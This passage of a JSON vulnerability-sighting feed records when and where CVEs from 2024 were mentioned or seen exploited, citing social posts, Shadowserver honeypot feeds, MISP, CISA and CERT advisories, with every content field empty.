"2025-02-11T00:00:00.000000Z"}, {"uuid": "3649add4-45c5-4d3a-9fdf-fd047328fccd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22467", "type": "seen", "source": "https://chaos.social/users/christopherkunz/statuses/113989899534194397", "content": "", "creation_timestamp": "2025-02-12T08:10:34.137073Z"}, {"uuid": "a72dcdce-8358-479c-9530-a88d26f27870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22467", "type": "seen", "source": "https://bsky.app/profile/christopherkunz.bsky.social/post/3lhxqpuyrq22y", "content": "", "creation_timestamp": "2025-02-12T08:24:33.714508Z"}, {"uuid": "e8123325-94c0-4267-8fb2-dbef5f3c4640", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2297", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj5mo2jorj2s", "content": "", "creation_timestamp": "2025-02-27T09:53:06.786251Z"}, {"uuid": "528ae3fe-e92f-4f54-82bd-adbad24fbafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3llf5v3pwof2m", "content": "", "creation_timestamp": "2025-03-27T20:40:16.873802Z"}, {"uuid": "81ff9911-6ac2-4a83-baf8-0dd5cdb4ab00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-24)", "content": "", "creation_timestamp": "2025-02-24T00:00:00.000000Z"}, {"uuid": "0ef4bf92-2a62-42d9-888c-b0f76e74491b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-22)", "content": "", "creation_timestamp": "2025-02-22T00:00:00.000000Z"}, {"uuid": "491cd712-b31f-461a-bc0a-9ca6daa81713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2240", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/114000469367978113", "content": "", "creation_timestamp": "2025-02-14T04:58:35.665838Z"}, {"uuid": "ccae915d-81a4-4ed6-a71d-2ec4f2483f67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2240", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3li4h3r3ycx2z", "content": "", "creation_timestamp": "2025-02-14T05:15:31.967560Z"}, {"uuid": "dc30048e-e216-473e-bb55-d1fbc04426c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2240", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3li4skdm6iq26", "content": "", "creation_timestamp": "2025-02-14T08:40:32.326889Z"}, {"uuid": "2eb268e5-45fe-4124-97f1-509a68cea38a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-24)", "content": "", "creation_timestamp": "2025-02-24T00:00:00.000000Z"}, {"uuid": "d08c46de-5073-41ff-80e7-299e7efcdca7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-15)", "content": "", "creation_timestamp": "2025-02-15T00:00:00.000000Z"}, {"uuid": "09135d52-a699-4b00-b17e-eb1f390fc434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22145", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3likodrazy62w", "content": "", "creation_timestamp": "2025-02-19T21:02:39.527433Z"}, {"uuid": "49e66d88-6155-4d6c-88ac-8d3790ae312e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22307", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3likodrdpyg25", "content": "", "creation_timestamp": "2025-02-19T21:02:40.014515Z"}, {"uuid": "ec53e18d-d01c-41f4-afa5-4082430aa07e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22267", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkdx2r3btr2v", "content": "", "creation_timestamp": "2025-03-14T15:40:19.447880Z"}, {"uuid": "1fde47f8-3e36-4cc2-97f2-a02af0097b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-24)", "content": "", "creation_timestamp": "2025-03-24T00:00:00.000000Z"}, {"uuid": "a33457e6-67bd-49e9-b1c9-fc058b5f8ceb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22224", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lk2aizetpk2g", "content": "", "creation_timestamp": "2025-03-10T19:02:44.605819Z"}, {"uuid": "084eea09-3a46-4e89-960f-b7216c927a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22225", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lk2aizetpk2g", "content": "", "creation_timestamp": "2025-03-10T19:02:44.651455Z"}, {"uuid": "f0a02d0b-784d-4ece-bd9b-3dae8afdf19a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22226", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lk2aizetpk2g", "content": "", "creation_timestamp": "2025-03-10T19:02:44.696941Z"}, {"uuid": "272600da-03a5-466e-b2a0-0c0307b12436", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22923", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkc2pl6p6d2u", "content": "", "creation_timestamp": "2025-03-13T21:40:19.698897Z"}, {"uuid": "f49e59c6-5aa5-4cd5-a4c6-99dd2361a359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-15)", "content": "", "creation_timestamp": "2025-05-15T00:00:00.000000Z"}, {"uuid": "68a5f76c-cabd-4cb1-9007-738f41877fcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-17)", "content": "", "creation_timestamp": "2025-06-17T00:00:00.000000Z"}, {"uuid": "9f1472c1-ac34-4d93-bcbe-313de91e50b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-15)", "content": "", "creation_timestamp": "2025-04-15T00:00:00.000000Z"}, {"uuid": "53b531b9-020c-4f23-89cb-c2b278aa67f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22036", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmwfurxk362v", "content": "", "creation_timestamp": "2025-04-16T10:43:48.236963Z"}, {"uuid": "837f0d39-89dc-4d11-af48-dc64199a9251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22036", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114347245286035396", "content": "", "creation_timestamp": "2025-04-16T10:48:16.439646Z"}, {"uuid": "486758ea-ee03-488e-b0fa-92503af202b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22036", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114347775337646077", "content": "", "creation_timestamp": "2025-04-16T13:03:04.270910Z"}, {"uuid": "627d8df7-beaa-4229-b23d-4c868f436181", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-19)", "content": "", "creation_timestamp": "2025-06-19T00:00:00.000000Z"}, {"uuid": "1bece4ce-6937-404e-a5b8-b48ed3ff1884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22330", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqw4wyw6uv2e", "content": "", "creation_timestamp": "2025-06-06T05:44:40.976825Z"}, {"uuid": "15a601a5-e83e-401a-88e1-d7d3fa76df30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-16)", "content": "", "creation_timestamp": "2025-06-16T00:00:00.000000Z"}, {"uuid": "a4cc89ba-0860-470c-8927-c904892b8a02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22319", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-26)", "content": "", "creation_timestamp": "2025-06-26T00:00:00.000000Z"}, {"uuid": "8c9db449-ee1b-4263-ab0e-7651fa87cd92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22654", "type": "seen", "source": "https://bsky.app/profile/FunctionalProgramming.activitypub.awakari.com.ap.brid.gy/post/3lqcyxopmp4w2", "content": "", "creation_timestamp": "2025-05-29T15:13:53.815915Z"}, {"uuid": "beffc6a2-2e65-416f-a086-34113edd4340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22653", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqcyzg2fsj32", "content": "", "creation_timestamp": "2025-05-29T15:13:59.063602Z"}, {"uuid": "3e54c4a2-a99f-4831-b919-3219f470da0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22351", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnjjsswmsa2d", "content": "", "creation_timestamp": "2025-04-24T01:14:50.467403Z"}, {"uuid": "62b210a9-9506-4233-a2aa-658a9001801c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-28)", "content": "", "creation_timestamp": "2025-04-28T00:00:00.000000Z"}, {"uuid": "ac9252bf-15cf-41f0-9153-cc59eb98f169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-22031", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lnz3n5mfbc24", "content": "", "creation_timestamp": "2025-04-30T05:43:46.593030Z"}, {"uuid": "540c254c-4df0-43ab-ad7c-420e4b02557c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22031", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lnznr2qdfs2p", "content": "", "creation_timestamp": "2025-04-30T11:08:04.413966Z"}, {"uuid": "35413d0b-7e0a-4b19-8c2d-e195b53df19d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lqspc4j6ep2v", "content": "", "creation_timestamp": "2025-06-04T21:02:24.661941Z"}, {"uuid": "84d09be5-0779-4d2f-8a95-96120b36a445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-23)", "content": "", "creation_timestamp": "2025-06-23T00:00:00.000000Z"}, {"uuid": "8b29d04a-4341-4426-822f-3df9f8d400cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-18)", "content": "", "creation_timestamp": "2025-06-18T00:00:00.000000Z"}, {"uuid": "1c40badb-2424-4c6b-bdfb-56ca2832039b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-09)", "content": "", "creation_timestamp": "2025-05-09T00:00:00.000000Z"}, {"uuid": "a81a8f34-631b-429a-9682-b034ca6679ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22363", "type": "seen", "source": "https://gist.github.com/EduardoCorpay/fdaeb4ec65cc4a1c8fcd2fb0162de09c", "content": "", "creation_timestamp": "2025-06-11T15:29:00.000000Z"}, {"uuid": "0d8edd44-d943-43ae-af28-900406af1efb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-18)", "content": "", "creation_timestamp": "2025-06-18T00:00:00.000000Z"}, {"uuid": "17487188-f4ae-465e-a54d-c7cd208ec6c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-20)", "content": "", "creation_timestamp": "2025-05-20T00:00:00.000000Z"}, {"uuid": "dae163bf-07ab-4b3c-bdb6-adbd98b38485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22122", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/114864316703655927", "content": "", "creation_timestamp": "2025-07-16T18:26:20.628759Z"}, {"uuid": "7f1b151c-4e0e-400b-8cb8-d587fe305629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/114864316703655927", "content": "", "creation_timestamp": "2025-07-16T18:26:20.737663Z"}, {"uuid": "08f3b0e0-a811-4997-93a9-3b58d4205362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22774", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3lu6q4avocf2l", "content": "", "creation_timestamp": "2025-07-17T20:04:30.976899Z"}, {"uuid": "3bf217bd-ddf3-4922-bdf2-20d2d19f3411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-05)", "content": "", "creation_timestamp": "2025-09-05T00:00:00.000000Z"}, {"uuid": "e136a78e-ba9b-4d6c-8420-beac161741ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22319", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-24)", "content": "", "creation_timestamp": "2025-07-24T00:00:00.000000Z"}, {"uuid": "6b380f42-f5eb-48cb-a83f-58af11d8ea96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "e3c0237e-3db7-44d9-85a3-190a1b7e0fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22319", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-27)", "content": "", "creation_timestamp": "2025-07-27T00:00:00.000000Z"}, {"uuid": "f85dba1e-625d-4856-9cb8-30a4b2ec5032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22224", "type": "seen", "source": "MISP/f2f93f16-9318-44b1-9be3-2d3346ca540c", "content": "", "creation_timestamp": "2025-09-10T07:48:00.000000Z"}, {"uuid": "03d2edf2-5548-4d28-922d-f66c33a53e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22365", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lzemcfl4s22b", "content": "", "creation_timestamp": "2025-09-21T19:18:22.966394Z"}, {"uuid": "23a24f87-ca19-4e37-9b65-8e83c362ff3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22224", "type": "seen", "source": "MISP/f2f93f16-9318-44b1-9be3-2d3346ca540c", "content": "", "creation_timestamp": "2025-08-10T18:27:45.000000Z"}, {"uuid": "29b9db72-5c61-4da8-ae3f-808d1e62998c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://gist.github.com/Hamid-K/f4288dae3a1f2dea8905b1cf16d59c1b", "content": "", "creation_timestamp": "2025-10-03T16:37:38.000000Z"}, {"uuid": "14229d07-2053-4336-9561-6124ad93eebc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2236", "type": "seen", "source": "https://gist.github.com/gszr/a40573432a259a7a925124168844a175", "content": "", "creation_timestamp": "2025-11-18T19:05:17.000000Z"}, {"uuid": "2ae9e069-115c-442d-b42f-5cadb9d329a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2292", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:49.000000Z"}, {"uuid": "d4518225-118b-4471-9dc2-17f1a91b3d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2236", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lw7rjefydk2i", "content": "", "creation_timestamp": "2025-08-12T16:52:50.025518Z"}, {"uuid": "fbd87755-a4be-40eb-8220-8c350c29018e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22262", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-261-04", "content": "", "creation_timestamp": "2025-09-18T10:00:00.000000Z"}, {"uuid": "1c5282c9-2eea-4150-87aa-9efd58017815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-29)", "content": "", "creation_timestamp": "2025-09-29T00:00:00.000000Z"}, {"uuid": "7853b500-2562-49f7-8b00-8a96a8adf266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22722", "type": "seen", "source": "https://infosec.exchange/users/BugBountyShorts/statuses/115567448012392532", "content": "", "creation_timestamp": "2025-11-17T22:41:52.176244Z"}, {"uuid": "7e9c8a5f-a6a8-4e15-9099-5a90dca7395e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb", "content": "", "creation_timestamp": "2024-06-24T12:06:04.000000Z"}, {"uuid": "a2fa524c-cf2b-4b51-b03e-ce66e2407079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://gist.github.com/Darkcrai86/548c952e45379d1ea22232f45faf68f3", "content": "", "creation_timestamp": "2025-11-13T18:16:17.000000Z"}, {"uuid": "2908328b-3bfb-458e-a7de-2158dd5c9088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22315", "type": "seen", "source": "MISP/d0bda5d9-8cbc-4c6c-8803-a5e3150f9ec2", "content": "", "creation_timestamp": "2025-09-01T19:03:02.000000Z"}, {"uuid": "55003cd7-a9a0-4705-bbf9-6d347c395099", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-317-09", "content": "", "creation_timestamp": "2025-11-13T11:00:00.000000Z"}, {"uuid": "60065219-2dad-4d21-8b81-af05273d9a4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "313f5709-0679-4d53-bfbf-dee84d5cf9da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_2/2024", "content": "", "creation_timestamp": "2024-01-10T20:21:17.000000Z"}, {"uuid": "2dd56859-d69e-49ea-bdb9-31b2fd821951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1226", "content": "", "creation_timestamp": "2024-02-09T04:00:00.000000Z"}, {"uuid": "008d075b-7adb-4460-8add-9d2b28ec52bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1240", "content": "", "creation_timestamp": "2024-03-06T04:00:00.000000Z"}, {"uuid": "7538ae16-6db6-4178-9d5c-9f890f86a367", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22253", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1240", "content": "", "creation_timestamp": "2024-03-06T04:00:00.000000Z"}, {"uuid": "52402cb1-ce05-46e8-b13e-5c0a7c7c291e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22023", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1264", "content": "", "creation_timestamp": "2024-04-05T04:00:00.000000Z"}, {"uuid": "3fe35a17-edfd-4259-979e-31a22f02549f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22052", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1264", "content": "", "creation_timestamp": "2024-04-05T04:00:00.000000Z"}, {"uuid": "8fd5e221-653d-47f9-89a4-afaf867a37f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22053", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1264", "content": "", "creation_timestamp": "2024-04-05T04:00:00.000000Z"}, {"uuid": "3012b6f5-c40c-4d50-9a43-e47f8c0c87c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22059", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1300", "content": "", "creation_timestamp": "2024-05-24T04:00:00.000000Z"}, {"uuid": "5161a412-4523-4fe2-8150-eafea18d8232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22060", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1300", "content": "", "creation_timestamp": "2024-05-24T04:00:00.000000Z"}, {"uuid": "3ffc5fb6-d2c7-4694-a7e6-e833b3ef83e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 